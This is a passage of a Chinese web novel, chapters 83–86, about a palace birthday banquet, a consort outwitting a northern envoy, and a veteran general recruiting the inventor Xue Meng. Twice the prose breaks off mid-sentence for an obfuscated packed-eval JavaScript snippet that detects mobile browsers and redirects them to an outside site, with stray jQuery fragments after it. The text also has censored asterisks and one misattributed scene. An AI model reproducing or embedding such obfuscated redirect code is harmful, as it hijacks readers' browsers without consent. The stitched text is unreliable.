对上景丰帝寄予厚望的眼神,恨不得找个地缝钻进去。
第83章 什么国宝?破树根子罢了!
当着满朝文武,外邦使节,太后皇妃的面。
被皇帝点名,还扣上了博览群书,见多识广的高帽。
魏书同瞬间汗流浃背了。
要知道他身为大虞丞相,素来以学富五车、才高八斗,闻名朝野!
这要是猜错了,脸可就丢大了!
魏书同硬着头皮,上前打量起锦盒中的东西。
看了半天,还是不敢确定这到底是何物。
“魏爱卿,难道连你也不认得此物吗?”
景丰帝语气已有几分不悦。
魏书同额角沁出冷汗。
脑子飞速转动,连忙拱手道:“回陛下,以臣之见,此物应当是……穿山甲!”
景丰帝看向耶律鸿:“耶律国师,魏爱卿说对了吗?此物是否就是穿山甲?”
耶律鸿呵呵一笑,摇了摇头。
否定了魏书同的猜测。
魏书同顿时急了:“可这东西,身上明明长满了鳞片,这不就是穿山甲吗?”
秦雄冷嗤道:“行啦!魏大丞相,别丢人现眼了!穿山甲老夫见过,有鼻子有眼,有手有脚,此物断然不是穿山甲!”
魏书同两眼一瞪:“秦将军,那你说,这是何物?”
秦雄直言不讳:“老夫怎会认得?老夫又不曾自诩学富五车,才高八斗,不认得就是不认得!”
“不像某些人,不懂装懂!”
“你!!”
魏书同一咬牙,还要说什么,却被景丰帝一声喝断:“行啦,都给我闭嘴!”
连素来以见多识广著称的丞相魏书同,都猜错了。
景丰帝脸色极其难看。
这不是让北莽的人,笑话大虞无人吗?
“满朝文武听着!谁能识得此物,朕重重有赏!”
景丰帝此言一出。
满朝文武顿时鸦雀无声。
“怎么?难道我堂堂大虞,竟无一人识得此物?”
面对景丰帝的质问,文武百官全都羞愧惶恐,纷纷低下了头。
往日能说会道的翰林院三十六名学士,也都集体成了哑巴。
耶律鸿看在眼里,心中暗自冷笑。
都说大虞人才辈出,现在看来,也不过如此!
“既然大虞人都不识得此物,那就由我来公布答案吧!”
下马威的效果已经达成!
耶律鸿打算见好就收,当众公布锦盒之中物品的来历和名称。
“且慢!”
就在这时,一道慵懒喉音响起。
满朝文武循声望去,只见声音竟是从御台侧首珠帘后传出。
所有人都是满脸惊愕。
这种场合,哪个后宫嫔妃如此失仪?
找死吗?
“贤妃,你干什么?后宫不得干政!”
皇后也是吃了一惊,对身后突然出声的贤妃教训道。
贤妃平静回道:“姐姐,今日是母后生辰,又不是上朝。”
“那大虞国师拿个破树根子,在这里故弄玄虚。”
“我实在看不下去了。”
孟太后眉头一挑,诧异道:“贤丫头,莫非你识得此物?”
贤妃自信点头:“母后,贤儿不仅识得此物,贤儿还特地准备了一件稀罕宝贝,为母后贺寿!”
“这件稀罕宝贝一旦出世,定叫那北莽国师,哑口无言!”
孟太后闻言,顿时来了兴致,让贴身宫女去给皇帝传话。
对后宫嫔妃突然插话一事,景丰帝原本有些不悦,但听说贤妃识得北莽带来的东西,顿时眉头舒展。
“贤妃,既然你识得耶律国师带来的东西,朕准你出帘说话!”
啊?
听闻此言,群臣无不大惊。
大虞律法严苛,皇家礼仪更甚。
正所谓,后宫不得干政!
哪怕只是皇太后的寿宴,并非正式朝会,后宫嫔妃也只能陪同太后、皇后,静坐内席。
需以珠帘与外席隔开,避免与文武百官有任何的眼神、言语接触。
并且,后宫嫔妃必须全程保持静默恭顺,不得随意出声插话,否则就是“失仪之罪”。
但景丰帝,竟然让贤妃出帘说话!
不少文臣都犯起了嘀咕。
让后宫嫔妃抛头露面?
这真的好吗?
孟太后看向贤妃,点了点头:“皇帝都发话了,你就去吧!”
贤妃微微矮身,给太后、皇后依次行了个礼。
随即在宫女的搀扶下,缓缓步出珠帘,走下玉阶,出现在前殿群臣复杂的目光中。
腰肢轻摆,仪态万方。
武将们全都看傻了眼。
文臣们则是不敢轻易冒犯贤妃,纷纷扭过头,只敢用余光偷瞥。
国色天香。
倾国倾城。
已不足以形容贤妃的姿容。
珠帘之后,看着贤妃的背影,德妃眼色阴沉,咬了咬牙。
惠妃、淑妃也都脸色不善。
同为后宫四夫人,表面上看不出什么,实则每个人都各怀鬼胎。
皇帝先前专宠贤妃,直到贤妃得了一种“怪病”,身上长疮,皇帝才渐渐冷落了她,转而宠幸起德妃。
惠妃和淑妃也能喝上一口残汤。
可自从贤妃从蜀郡省亲回来之后,不仅身上的疮没有了,脸上更是光滑得一点细纹都没有!
气色也越来越好。
堪比十八九岁的小姑娘。
比以前更加有魅力,皇帝又开始整天往她的凝香宫里跑。
“这狐狸精莫不是用了什么妖法不成?”
德妃本就害怕贤妃压自己一头,现在看见皇帝居然特许贤妃抛头露面出帘说话,更是心中嫉恨。
若是真让这狐狸精认出了那北莽国师的东西,今天的风头可就让她出尽了!!
往后自己再想跟她掰手腕,就更加难上加难了!
“贤妃娘娘,你久居深宫,当真识得我北莽国宝?”
耶律鸿眼神直勾勾打量着贤妃,毫无避讳之意。
耶律鸿对自己带来的东西十分自信,大虞不可能有人识得此物!
身后四个随从,则是色眯眯地盯着贤妃。
在他们的脑子里,这汉人妃子老惨了!
贤妃落落大方来到前殿,面对如狼似虎的北莽人,毫无露怯。
瞥了眼锦盒里的东西,语气慵懒中透着几许不屑:“哼,你管这破树根子叫国宝?那你们北莽还真是穷酸!”
“你说什么!”
耶律鸿万没想到,这贤妃居然这么不给面子。
以魏书同为首的一帮谈和派文臣,全都捏了一把冷汗。
这贤妃,怎么敢这么对北莽国师说话?!
若是得罪了人家,到时候不跟大虞谈和了该怎么办?
秦雄等一众武将,却是眼前一亮,不得不对贤妃另眼相看。
这贤妃娘娘,虽是女流之辈,可比魏书同那帮废物有种多了!
对待北莽这群牲口,本就不该给他们好脸色!
“贤妃娘娘,你怎可如此诋毁我们北莽的国宝……”
耶律鸿本想借题发挥,却被贤妃先声夺人,直接打断:“就这破树根子,还需要我诋毁吗?这不就是寄生于大漠梭梭树根之上的肉苁蓉吗?”
“也就是你们北莽人没见过什么好东西,才会把这东西尊为国宝!”
“不像我大虞,幅员辽阔,物产丰饶!人参、鹿茸、麝香、天麻,各种珍奇药材应有尽有!”
“哪一样,不比你这破树根子值钱?”
耶律鸿被贤妃一番话怼得哑口无言。
他想要反驳贤妃,奈何贤妃说的每句话都是事实!
而且,贤妃居然真的认出了锦盒中的东西!
“肉苁蓉?原来此物名曰肉苁蓉?!”
从耶律鸿的表情不难看出,肯定是被贤妃说对了!
群臣顿时炸开了锅。
“搞了半天,原来只不过是树根子上长出的寄生物?”
“还以为是什么不得了的东西呢!”
“北莽可真够寒酸的,居然把树根子当成国宝,来糊弄我们?”
“这不是耍我们吗?!”
“我看这些北莽人,压根没把咱们大虞放在眼里!”
以秦雄为首的武将,全都愤愤不平起来。
魏书同低下了头,不敢吭声。
“哀家早就说,这贤丫头是个有内秀的人。”
孟太后面上明显有了喜色,越看贤妃越顺眼。
景丰帝也是龙颜大悦。
朕这个贤妃啊,真是巾帼不让须眉!
不仅识破了那什么肉苁蓉的来历,一番话还把耶律鸿说得抬不起头,彰显了大虞国威。
赏!
朕必须重重赏她!
第84章 鲟鱼胶名震京师
贤妃认出了北莽国师的肉苁蓉,大出了风头!
魏书同和一帮文臣更加无地自容了。
亏他们还自诩学富五车,结果还比不上贤妃一个女流之辈。
魏书同实在想不通,这贤妃久居深宫,怎么会认得北莽的东西?
耶律鸿也是万没想到,自己精心挑选的“宝贝”,居然被大虞一个后宫嫔妃给识破了底细!
“耶律国师,你锦盒中这肉苁蓉,真如贤妃所说,只是一文不值的破树根子?”
景丰皇帝虽然有心和北莽谈和,给足了北莽国师面子。
但若是对方真拿破树根子,来给太后当寿礼!
那可真是蹬鼻子上脸了!
见景丰皇帝语气不悦,耶律鸿定了定神,回道:“陛下,贤妃娘娘言过其实了,这肉苁蓉虽是寄生于树根,出身低贱,但并不妨碍它的药效,堪比人参!”
“在我们北莽,的确视此物为国宝,绝非我故意戏弄你们!”
“此物可补肾益精,服之可令人筋骨强健!”
耶律鸿扭头看向贤妃,若有所指道:“只是不知贤妃娘娘久居深宫,因何识得我北莽之物?莫非,与我们北莽有什么渊源?”
嘶!
耶律鸿这句话一出口,所有人都倒吸了一口凉气。
贤妃身为后宫嫔妃,要是跟北莽有瓜葛,那还得了?!
原本正眼红贤妃出风头的德妃,闻听此言,顿时幸灾乐祸起来。
让你抛头露面显能耐,现在看你怎么收场!
要是和北莽沾上关系,贤妃就算是完了!
景丰帝微微皱眉。
他虽然不相信贤妃与北莽有什么瓜葛,但满朝文武都没人认得这肉苁蓉,贤妃是怎么认得这肉苁蓉的?
这难免让人产生怀疑!
群臣看贤妃的眼神,都变得复杂起来。
想看看她怎么解释。
贤妃却是从容不迫,踱步冷笑道:“耶律国师,本宫出身蜀郡,与你们北莽相隔千里,能和你们北莽有什么渊源?你少在这里挑拨离间。”
“本宫认得肉苁蓉,是因为除了你们北莽以外,在我的家乡蜀郡同样生长有此物!”
“只是蜀郡名贵药材实在太多,此物根本不算什么,也就未能被世人熟知!若是此物真有奇效,早就上贡朝廷了!”
“什么?!”
大虞也有肉苁蓉?
耶律鸿双目圆瞪,如遭雷击。
他自恃为北莽国宝的稀罕宝贝,没想到大虞早就有了,而且还算不上名贵?
贤妃并不打算就这么放过耶律鸿。
这家伙,刚才居然还想拽她下水!
若是她一个回答不好,就会身败名裂。
她可不是好欺负的!
“耶律国师,你以肉苁蓉故弄玄虚,不就是想看我大虞满朝文武的笑话吗?”
“但本宫想告诉你,但凡是人,都无法做到全知全能,再聪明的人,也有犯糊涂的时候!”
“我大虞群臣,认不出肉苁蓉,并不代表没有治国的才能!”
“而本宫侥幸认得此物,也并不代表,本宫的学识就超过了群臣!”
贤妃此言一出。
群臣皆是一怔,眼里瞬间有了光。
没想到贤妃居然还会替他们说话?
景丰帝也是惊诧不已。
贤妃这话,既反驳了耶律国师,又给大虞群臣挽回了颜面。
实在是太妙了!
“抬上来!让耶律国师看看,何为真正的稀世珍宝!”
贤妃睥睨全场,拍了拍手。
侍立一旁的两名太监,抬起一个紫檀箱子来到大殿中央。
咚。
箱子落地瞬间,发出闷响,分量感十足。
打开箱子。
一个晶莹剔透的大虞江山图,显现在众人视野之中。
与寻常的舆图不同,这大虞江山图竟然是立体的!
给人的视觉冲击,极其震撼!
“这是……何物?!”
别说满朝文武看傻了眼,就连先前瞧不起大虞群臣的耶律鸿,也是脸色大变,瞠目结舌。
“耶律国师,你身为北莽国师,定然见多识广,你可否识得这是何物?能否说出它的来历和用途?”
贤妃秀眉轻挑,睥睨着耶律鸿。
把先前耶律鸿问大虞群臣的问题,还给了他!
“这……”
耶律鸿面色窘迫,咬了咬牙,顿觉脸颊发烫,无地自容。
原本他想用肉苁蓉,给大虞群臣一个下马威!
不曾想,竟被这什么贤妃识破底细!
现如今,竟还被对方反将一军!
“耶律认不得此物,还请贤妃娘娘明示!”
耶律鸿咬碎了牙,也只能往肚子里吞。
他实在是认不得这东西!
对于耶律鸿的反应,贤妃并不意外。
这箱子里的东西,别说这些北莽人没见过。
全天下都没人见过!
就连贤妃自己,第一次见到此物的时候,反应也不必耶律鸿好到哪里去。
据和盛堂的人说,此物乃是那位叫做薛猛的小英雄的杰作!
贤妃看第一眼的时候,就已经料想到,此物一旦面世,必将惊艳全场!
所以面对北莽国师,她才这么自信!
看见这座晶莹剔透的大虞江山立体图,景丰帝再也坐不住了,不禁起身走下御台,围绕着这大虞江山图仔细打量起来。
口中不由得啧啧称奇。
“爱妃!快跟朕讲讲,这到底是什么宝贝啊!”
景丰帝激动得声音都有些颤抖了。
这东西的材质像是水晶,但又不太像,因为上面有着类似菊花的金色花纹。
左将军秦雄,亦是看着那江山图怔怔出神。
立体的舆图,他打了一辈子仗,也没见过!
这东西,若是用在战场上,会怎么样?
秦雄不由得陷入了沉思。
贤妃介绍道:“陛下,此物乃是以鲟鱼胶融化之后,一体浇筑而成的胶塑!”
“鲟鱼胶?”
群臣闻言,皆是满头雾水。
景丰帝也是面露不解。
贤妃继而解释道:“这鲟鱼胶,乃是蜀郡的一位奇人,炮制出的稀奇药材!不仅可以补肾益精,滋养筋脉,还能美容养颜,久服能使人容貌如玉,淡却细纹!”
“并且可以用于内外伤止血,还可以用来黏合器物,浇筑成胶塑!”
“为了给母后贺寿,臣妾特地让那位奇人从蜀郡送来这鱼胶,浇筑成大虞江山图!”
“祝愿母后青春永驻,容颜不朽,同时也是寓意大虞江山永固,万古长存!”
贤妃话落。
满朝文武鸦雀无声。
给皇太后祝寿的同时,还寓意大虞江山永固!
这格局!
直接碾压了全场!
“好!好,好哇!”
珠帘之后,孟太后一连三声叫好。
“贤丫头,就数你这寿礼,最可哀家的心!”
孟太后是真的高兴!
贤妃这份寿礼,无论是创意和观赏性,还是实用性,亦或是稀缺性,全都艳压全场!
相比之下,其他人的寿礼,要么中看不中用,要么就是缺乏新意的老几样。
反正跟贤妃这份寿礼一比,差了都不止一星半点。
并且,今天贤妃智斗耶律鸿,替大虞朝廷挽回了颜面!
群臣对贤妃无不佩服。
“好哇!不愧是朕的贤妃!真是秀外慧中,贤能超群!朕要重重赏你!”
景丰帝龙颜大悦,回到御台之上,在龙椅上坐下。
自从贤妃从蜀郡回来之后,仿若回春一般,愈发娇嫩,景丰帝是越来越喜欢这心肝宝贝儿了!
今日贤妃又呈出稀世珍宝,替大虞朝廷挽尊!
景丰帝对贤妃更加喜爱,大袖一挥,提笔挥毫,当即写下一道圣旨。
总管大太监接过圣旨,当众宣读。
“奉天承运,皇帝诏曰!”
“自古帝王治世,必赖贤淑辅内廷!”
“朕之贤妃沈氏,性资敏慧,淑慎温恭。”
“自入侍后宫以来,持躬端谨,恪遵礼教,对上孝敬皇太后晨昏不辍,对下抚御宫闱宽和有度。”
“朕念其德行兼备,淑范可彰,今特依祖制,顺舆情,晋封贤妃沈氏为‘贤贵妃’!”
“赐金册金宝,并‘贤能辅国’匾额,改移凝香宫居承乾元宫!”
“望其此后更竭心力,益修德行,辅佐朕躬,共沐太平之福!”
“布告天下,咸使闻知!”
“钦此!”
“臣等恭贺贵妃娘娘!!”
圣旨念毕。
群臣俯首,对着贤妃齐齐叩拜。
贤妃神态安然,荣辱不惊,平静地接受这份荣耀。
德妃则是气得后槽牙都快咬碎了。
贤妃升了贤贵妃,还移驾乾元宫!
乾元宫的规格,远超她们这些普通妃子的寝宫,是她们做梦都想进去的地方。
贤妃入主乾元宫,从此在这后宫里,地位仅次于皇后。
今后她们在这宫里的日子,是愈发难过了!
寿宴结束后。
群臣各自散去。
秦雄私下找到了贤妃身边的掌事太监齐公公,想通过他向贤妃问问,那位发明鲟鱼胶的奇人是何许人也,在什么地方。
他很想见一见那位奇人!
旁人只是惊叹于那鲟鱼胶胶塑的精美,而秦雄却已经察觉出,此物背后隐藏的军事价值。
能够制作出这样的立体舆图之人,必非等闲之辈!
……
德秀宫。
在寿宴上憋了一肚子气的贤妃,回到自己寝宫,便开始大发雷霆,打砸东西。
“难怪贤妃那狐狸精,最近气色越来越好,把皇上迷得神魂颠倒!”
“原来都是吃那什么鱼胶吃的!”
“查!给我去查!那鲟鱼胶到底是何人所创,给我把人抢回来,若是他不愿听命于我,就把他杀了,把鱼胶秘方带回来!”
“是!”
纱幔之后,一道气息冷冽的黑影,悄然隐去。
德妃眼神冷冽,面色阴沉。
贤妃今日出尽风头!
还拿出那什么鲟鱼胶江山图胶塑,压倒全场!
被皇帝封了贵妃!
这可把德妃气得不轻!
她不允许,鱼胶这么好的东西,被贤妃掌握在手里!
更不允许,那什么狗屁“奇人”,再暗中帮助贤妃!
若是那人不能为她德妃所用,就必须除掉!
“啊切!”
驿馆内,薛猛一连打了好几个喷嚏。
“谁他喵在骂我?”
第85章 什么谈和?简直就是**!
三天后。
皇太后寿宴圆满结束。
大虞和北莽的谈和之议,也在吐蕃、西夏、暹罗诸国使节的见证下,敲定了结果。
外邦使节陆续离去。
京城解禁。
宫里传出几件逸闻。
有那捕风捉影的说书先生,在此基础上添油加醋,在茶馆里支起台子,说起了宫中秘事,引得不少看客围观。
“说那北莽国师耶律鸿,生得是黄发棕眼,面如恶鬼,来者不善!”
“于未央宫殿上,呈出一物,满朝文武尽皆不识,险叫外邦使节看了笑话!”
“当今圣上正自着恼,恰逢此际,贤妃娘娘于珠帘之后叫声‘且慢’!惊了四下群臣!”
“列位看官须知,后宫历来不得干政!圣上正要治贤妃失仪之罪,却不想,贤妃竟当众道出那北莽国师所呈之物来历!”
台下,有人好奇问道:“那到底是什么东西?”
说书先生一拍惊堂木,说道:“此物名曰肉苁蓉!乃是一种树根附生之物!”
嚯!
此言一出,全场哗然。
“这北莽人真不是东西,居然拿根破树根子故弄玄虚!”
看客们交头接耳,皆是愤愤不平:“还好贤妃娘娘,识破了他们的底细!”
说书先生“啪”一下打开手中折扇,又道:“这还没完呢!贤妃娘娘叫声‘看我大虞珍宝’,继而呈出一物,惊了满朝文武,让那耶律国师也是瞠目结舌,哑口无言!”
看客追问:“那是什么东西?把那北莽国师都镇住了?”
说书先生口若悬河,绘声绘色,用手中折扇隔空描绘形状:“那东西,晶莹剔透,宛若水晶,塑成大虞江山图模样,叫人看了拍案叫绝!”
“但此物却又并非水晶雕琢,而是一味珍奇药材浇筑而成!”
看官们听得目瞪口呆,只觉说书先生说的东西神乎其神。
说书先生道:“此药唤作‘鲟鱼胶’,因其上有金花纹路,又叫做‘金花胶’!”
“服食此物,能让麻子变成美女!能让软脚虾变成伟丈夫!能让痴傻儿,考上状元郎!”
“哇!那这可真是个好东西啊!”
众人听得啧啧称奇。
“这东西哪里有卖?我买给我婆娘也吃吃看!”
“我有个朋友近来房事无力,也想买点试试!”
见台下众人囔着要买鱼胶,说书先生苦笑摇头:“此物世间少有,有钱也买不来!连宫里那些贵人,都不够吃呢!”
众人闻言,唏嘘不已,直呼可惜。
果然好东西,都跟老百姓没关系!
薛猛放下茶碗,丢下两文铜钱,默默走出了茶馆。
“这说书的是真能掰扯啊!”
身为鱼胶的发明者。
他怎么不知道鱼胶有那么多神奇功效?
让麻子变成美女?
让痴傻儿考上状元郎?
恐怕只有太上老君的仙丹才能办到!
薛猛这边刚出茶馆,又听见那说书先生说到了大虞和北莽谈和的结果。
“自明年起,大虞每年都要赐北莽‘岁赐’。”
“银十万两、绢二十万匹、茶三万斤。”
“并且,要将当朝离阳、昭阳两位公主,嫁给北莽天可汗的两个儿子为妾,以交北莽、大虞两家之好!”
说书先生话落,看客全都炸了锅。
“什么?!”
“这……这哪里是什么谈和,这分明就是**啊!”
“还岁赐呢,我看分明是给北莽**交岁供!”
“这满朝文武,全是软骨头不成?打了这么多年,咱们大虞**多少人啊?现在居然跟北莽这些畜牲谈和?!”
“又是送钱、又是送粮、又是送女人!真够丢脸的!”
“每年要给北莽这么多钱粮,这些钱粮从何而来?到头来,遭殃的还不是咱们老百姓!看着吧,明年赋税又要涨咯!”
“还让不让老百姓活了!?”
就在这时,忽听背后一阵喧闹。
薛猛扭头一看,只见一个身着甲胄的卫尉,带着一队凶神恶煞的羽林军冲进了茶馆。
“大胆狂徒,妄议国事!”
“全都给我抓起来!”
“唉哟……”
说书先生最先被摁倒在地。
其余看客也都被羽林军踹翻在地,打得头破血流。
“官爷饶命!官爷饶命呐!”
就连茶馆的伙计,也被无辜波及,被那些羽林军打得嗷嗷叫唤。
见状,薛猛顿下步子,剑眉倒竖,拳头捏得咯咯响。
这些狗腿子!
只会窝里横!
对老百姓下手那叫一个狠,对那些外邦使节反倒是百依百顺,陪着笑脸,跟羊羔一样温顺!
真踏马让人恶心!
有种上战场跟北莽真刀**干去啊,在老百姓面前耀武扬威,算什么东西?
“这里还有一个别漏了,也给我抓起来!”
忽然,卫尉一指薛猛,口中大喝。
几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313049|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
名披甲执锐的羽林军,立即朝着薛猛围了上来。
“日嫩娘!”
薛猛只觉一股热血直冲颅顶,虎目微眯,险些就要动手!
“住手!”
就在这时,街道尽头一声威严怒喝响起。
一个须发雪白,狮鼻方口,气势超群的老者,阔步走了过来。
老者身旁还跟着湘儿、赵鹰、裴红玉、寇芳,以及一个薛猛不认识,长相阴柔的男子。
一个年轻的羽林军,指着白发老者泼口骂道:“你个糟老头子谁啊,敢妨碍我们羽林军办事,找死不成?”
卫尉闻言,吓得魂儿都快飞了,一脚踹在那年轻羽林军屁股上。
“去你麻的,你跟谁俩呢!”
身为京城卫尉,在京城混了几十年,他就是再不长眼,也认得那白发老者,乃是当朝左将军秦雄“秦无敌”!
秦家世代忠良,出过不少名将。
而秦雄十四岁上阵为将,先后辅佐大虞三位君主,征东辽,扫百越,立下赫赫战功。
就连当年大败北莽铁骑的白虎军首领霍威将军,都是他的门徒!
可以说,这位就是大虞名副其实的国之柱石!
区区羽林军,怎么敢冒犯这位爷啊?
扑通一声,卫尉直接跪在了地上,万分恭敬拱手喊道:“秦老将军!这新来的有眼不识泰山,不慎冒犯了您!您老千万别跟他一般计较,我马上就让他卷铺盖滚蛋!”
“秦……秦老将军?”
年轻羽林军一怔,随即反应了过来这位老者是何许人也,瞬间汗流浃背了。
整个大虞,姓秦的老将军,还能有谁?
不就是那位能够带剑上朝的三朝元老吗?
我踏马算哪根葱啊,居然敢骂三朝元老是糟老头子!
这是……惹了天祸啊!
意识到自己干了些什么蠢事后,年轻羽林军瘫坐在地上,身子抖得像筛糠,恨不得把自己这张臭嘴抽烂。
秦雄哼了一声,压根懒得搭理卫尉和这帮羽林军,而是转头朝薛猛走了过来。
“这位,就是发明鲟鱼胶的那位薛小兄弟了吧?”
秦雄看了眼薛猛,扭头对湘儿问道。
湘儿连忙点头:“秦爷爷,没错,就是他!”
“鲟鱼胶的……发明人?”
听到这话,羽林军全都傻眼了。
说书先生和看客也都瞪大眼睛,望向薛猛。
说了半天鲟鱼胶如何如何神奇,没想到正主就在身边?!
第86章 秦雄请薛猛出山
“怎么,你找我有事?”
对于秦雄,薛猛并没有什么好脸色。
在他看来,这些什么将军,也不过是大虞朝廷的鹰犬。
他不想跟这些人有任何瓜葛!
而秦雄上下打量了薛猛一番,见薛猛生得剑眉虎目,英武不凡,面对羽林军依然不卑不亢,心下颇有几分赏识。
不愧是制造出立体舆图的人,果然仪表不凡!
秦雄先前威严的老脸上,罕见地有了笑容:“薛小兄弟,老夫在会仙楼摆了一桌,不知小兄弟可否赏脸,便移尊步,陪老夫喝上一杯?”
“没空!”
薛猛直接回绝了。
裴红玉一怔。
这家伙抽什么风?
这可是当朝左将军,多少人一辈子都见不到的大人物。
人家特地请你喝酒,你居然说没空?
就算不提身份,就人家这七老八十的岁数,请你一个二十郎当的小辈,你也该给面子吧!
“薛小爷,这位可是秦老将军。”
湘儿扯了扯薛猛的袖子,朝他递眼色。
生怕薛猛不知道对方的身份,顶撞了大人物。
“我知道他是将军!”
然而薛猛却是不以为然,直言不讳:“但将军又如何?大虞都跟北莽谈和了,这些将军也该回家睡大觉了。”
“反正打来打去,吃苦的也是咱老百姓!”
薛猛说着,一指被羽林军打得鼻青脸肿的说书先生,和那些无辜看客。
“看吧,这些当兵的,拿着老百姓缴纳的军饷,非但不保护老百姓,反而对老百姓下此毒手!”
“所谓下梁不正,上梁必歪!”
“也不知道某些将军,是怎么带的兵,带出这种窝里横的货色!”
薛猛这番话,可以说是说到了老百姓的心坎里。
围观路人全都停了下来。
说书先生和之前茶馆里的看客,也都是既佩服又担忧地看着薛猛。
佩服的是,薛猛居然敢当着羽林军和秦老将军的面,直议北莽谈和之事,讽刺这帮羽林军只会窝里横!
但同时,也正是因为薛猛如此直言不讳,让大家都为他捏了一把冷汗!
他们先前不过是在茶馆说书,随意评论了几句,就被不知道什么人告发,扣上了“妄议国事”的罪名。
而薛猛,居然敢跟这些羽林军正面刚!
还说什么,下梁不正上梁歪?
这要是治罪下来,搞不好是要**的!
裴红玉银牙一咬,恨不得把薛猛这张破嘴给缝上。
这可是在皇城根下,说这些大逆不道的话,九族不想要了吗?
寇芳则是纤眉轻拧,袖中暗藏短**。
恩公这些话,确实太容易引起祸端了。
但就算恩公真的闯了祸,她也愿意陪恩公一起扛!
若是那些羽林军敢对恩公不利,她就算豁出命去,也要护送薛猛出城!
听了薛猛的话,秦雄面上笑容凝固了。
就在大家以为,秦雄会对薛猛大发雷霆之际。
却不料,秦雄扭头扫了眼那些羽林军,**,接连几脚,把卫尉和一队羽林军全都踹翻在地。
随即,把他们骂得狗血淋头!
“你们这些混账!”
“朝廷给你们发军饷,是让你们保家卫国,不是让你们在老百姓面前耀武扬威!”
“没有老百姓缴纳赋税,你们的军饷从何而来?”
“不成器的东西,全都给我滚!!!”
秦雄指着满脸惊恐的卫尉,瞪眼怒喝道。
秦雄发起火来,犹如一头要**的雄狮!
先前在老百姓面前耀武扬威的羽林军,全都吓得跟孙子一样,瑟瑟发抖。
“走走走,快走!”
卫尉满脸惶恐,从地上爬起来,招呼手下赶紧离开。
“慢着!”
没走两步,秦雄的声音再次响起。
卫尉虎躯一震,僵硬地扭过头,哈着腰,惶恐赔笑道:“秦老将军,您老还有什么指教吗?”
“你们,是谁的兵?”
“啊?”
“啊什么啊,老子问你,你们是谁带的兵!”
卫尉哆嗦着嘴皮,回道:“我们是魏羽将军麾下羽林军。”
“魏羽?”
秦雄狮眼微眯,不屑冷嗤道:“原来是魏书同那个不成器的小儿子!”
“看来薛小兄弟没说错,下梁不正上梁歪,跟着魏飞,你们能学好才怪了!”
“赶紧给我滚!以后别再让我看见你们!”
“否则老夫一定要你们尝尝,打王鞭的厉害!”
秦雄说着,亮了亮腰间的黑柄铜鞭,作势要抽鞭**,吓得卫尉亡魂皆冒,撒腿就跑。
世人皆知,“秦无敌”的打王鞭,乃先帝武威帝所赐!
武威帝临终托孤,让秦无敌手执打王鞭,辅佐大虞江山!
上打昏君,下打奸臣!
他就算用这打王鞭,把卫尉打死,也没人敢治他的罪!
“好!好哇!”
“秦老将军威武!!”
见羽林军被轰走,说书先生顿时鼓掌叫好起来。
围观路人也都纷纷喝起彩来!
这些羽林军,平日在京城里作威作福,听见风就是雨,就算没有妄议国事,他们看你不顺眼也照样可以把你屈打成招。
不少人都深受其害。
现在看见这些羽林军被收拾了,大家心里都出了一口恶气。
薛猛愣了愣,没想到秦雄会是这个反应。
秦雄转头看向薛猛,拍了拍薛猛的肩膀,爽快笑道:“薛小兄弟,你果然不是一般人,刚正不阿,敢于直言,对老夫的脾气!”
“就刚才那帮货色,别说你看着来气,老夫也早就看他们不顺眼了!”
“薛小兄弟,现在咱们可以心平气和,坐下喝一杯了吧?”
“可!”
薛猛一笑点头。
这老头儿,有点意思!
似乎和那些鱼肉百姓的朝廷鹰犬不太一样!
跟他喝一杯也无妨!
见薛猛和秦雄对了脾气,裴红玉和湘儿全都松了口气。
寇芳也默默将袖中短驽收了起来。
……
会仙楼,二楼雅间内。
丰盛酒菜,早已备好。
作为京城最大的酒楼,这里的菜色,比起洪雅县那些酒楼的菜要高档精美得多。
刚落座不久,三杯酒下肚,秦雄便借着酒劲儿直抒胸臆:“薛小兄弟,实不相瞒,老夫也不赞成和北莽谈和一事!”
“为此还跟那帮主张谈和的文臣大吵了一架!”
“奈何皇上偏信那丞相魏书同,同意了议和之事!”
“君命难违,皇上的决定,我们这些做臣子的本不该有异议!但老夫实在是咽不下这口气!”
薛猛闻言,有些疑惑。
自己不过是个升斗小民罢了。
在卧虎村,顶多算个土财主!
这秦老将军,找他掰扯这些国事干什么?
秦雄看出薛猛的疑惑,索性开门见山:“老夫听说,薛小兄弟善于发明创造,智勇双全,不仅炮制出鲟鱼胶,塑成那大虞江山图。”
“还曾开弓猎杀百年棕熊,取得百年熊胆,治好了贤妃娘娘的‘怪病’!”
“并且带领四十个村民,剿灭了数倍于己的山匪!”
这……
薛猛闻言一惊,随即扭头扫向裴红玉和湘儿。
裴红玉扭头看向窗外吹口哨。
湘儿咬着嘴唇,冲薛猛尴尬一笑。
不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313050|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问也知道,肯定是这俩货把他的底细给抖出来了!
“秦老将军,你请我来,到底想干什么?”
对方知道了自己的底细,这让薛猛有些不安。
秦雄猛地站了起来,狮眼闪烁,无比郑重道:“薛小兄弟,你这样智勇双全,聪慧绝顶的奇人,埋伏于山野草泽,未免太可惜了!”
“你难道就不想,发挥一身本领,为国效力,建立一番不世功勋?”
“你难道就不想,带兵征讨北莽,一雪国耻,从此封候拜将,名留青史?”
“薛小兄弟若想为国效力,老夫愿纳你为麾下偏将,免却武举考核!”
裴红玉冰眸闪烁,听了秦雄的话,只觉浑身上下热血沸腾!
免却武举,直接纳为左将军麾下偏将!
这是多少人祖坟冒青烟都盼不来的好事!
她都想直接替薛猛答应了!
